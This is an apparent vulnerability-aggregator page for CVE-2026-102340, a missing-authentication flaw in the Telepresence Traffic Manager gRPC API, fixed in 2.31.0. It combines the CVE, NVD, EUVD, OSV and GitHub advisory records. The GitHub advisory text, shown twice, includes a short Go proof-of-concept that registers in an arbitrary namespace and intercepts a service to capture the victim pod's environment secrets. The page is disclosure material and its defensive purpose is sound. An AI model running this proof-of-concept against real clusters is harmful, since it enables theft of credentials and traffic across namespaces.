CVE-2026-102340
Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets
CVE-2026-102340 is a high vulnerability (CVSS 8.5) in Cisco Telepresence, published November 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.28%, the 20th percentile. Fixed in github.com/telepresenceio/telepresence 2.31.0.
- Severity
- 8.5 HighCVSS 3.1, CVE List
- Exploit chance
- 0.28%EPSS, 20th percentile
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
2.31.0github.com/telepresenceio/telepresence
Description
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/telepresenceio/telepresenceGo | before 2.31.0 | 2.31.0 |
What each source reports
CVE List Score used 8.5
Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.
- Record
CVE-2026-102340- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-306, CWE-862
- Updated
- 2026-11-09
EUVDEUVD-2026-117096 8.5
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.
- Record
EUVD-2026-117096- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Updated
- 2026-11-10
GitHub AdvisoriesGHSA-j8j4-rw65-56r6 8.5
Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets
Summary
Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.
Details
The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).
ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):
// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
if !s.State().ManagesNamespace(ctx, client.Namespace) {
return nil, status.Error(codes.FailedPrecondition, ...)
}
// No SAR, no bearer token, no kubeconfig check
return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}
CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.
Proof of Concept
From any pod in the cluster:
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)
session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
Name: "attacker@pod", Namespace: "payments",
InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})
mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
Session: session,
InterceptSpec: &rpc.InterceptSpec{
Name: "steal", Agent: "payments-api", Namespace: "payments",
Mechanism: "tcp", Client: "attacker@pod",
},
})
Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.
Impact
Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.
- Record
GHSA-j8j4-rw65-56r6- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-306, CWE-862
- Updated
- 2026-11-09
NVD 8.5
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.
- Record
CVE-2026-102340- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-306, CWE-862
- Updated
- 2026-11-09
OSV 8.5
Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets
Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager gRPC API on port 8081 accepts unauthenticated cluster-network callers, ArriveAsClient stores a caller-supplied Namespace using only the ManagesNamespace manager watchlist check, and CreateIntercept can target any managed namespace without checking the session's Kubernetes RBAC. An attacker operating any pod with network access to the manager can register in an arbitrary managed namespace, create service intercepts, receive intercepted traffic, and obtain the victim pod's complete container environment, including secrets, tokens, and API keys. The default cluster-wide deployment manages all namespaces. This vulnerability is fixed in 2.31.0.
- Record
CVE-2026-102340- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-306, CWE-862
- Updated
- 2026-11-11
OSVGHSA-j8j4-rw65-56r6 8.5
Telepresence: Traffic Manager gRPC has no auth — any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets
Summary
Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.
Details
The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).
ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):
// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
if !s.State().ManagesNamespace(ctx, client.Namespace) {
return nil, status.Error(codes.FailedPrecondition, ...)
}
// No SAR, no bearer token, no kubeconfig check
return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}
CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns) — never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.
Proof of Concept
From any pod in the cluster:
conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)
session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
Name: "attacker@pod", Namespace: "payments",
InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})
mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
Session: session,
InterceptSpec: &rpc.InterceptSpec{
Name: "steal", Agent: "payments-api", Namespace: "payments",
Mechanism: "tcp", Client: "attacker@pod",
},
})
Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.
Impact
Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed. Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.
- Record
GHSA-j8j4-rw65-56r6- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-306, CWE-862
- Updated
- 2026-11-09
History
| Recorded | Changed | Sources |
|---|---|---|
| published | EUVD | |
| published | EUVD | |
| affected, references | OSV | |
| affected, facts, references | CVE List, EUVD, GitHub Advisories, NVD, OSV | |
| aliases, references | NVD, OSV | |
| aliases, products, published | EUVD | |
| first indexed | CVE List |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
github.com/telepresenceio/telepresence/security/advisories/GHSA-j8j4-rw65-56r6
github.com/telepresenceio/telepresence/pull/4217
github.com/telepresenceio/telepresence/commit/04ec3464fe8878fdc96420cdc8036edefa0dc9ae
github.com/telepresenceio/telepresence/commit/36458b65a010d2b316af48cd90e193ba190785d9
github.com/telepresenceio/telepresence/commit/6871235b674a6e843908d09696354c4b0f91578c
github.com/telepresenceio/telepresence/releases/tag/v2.31.0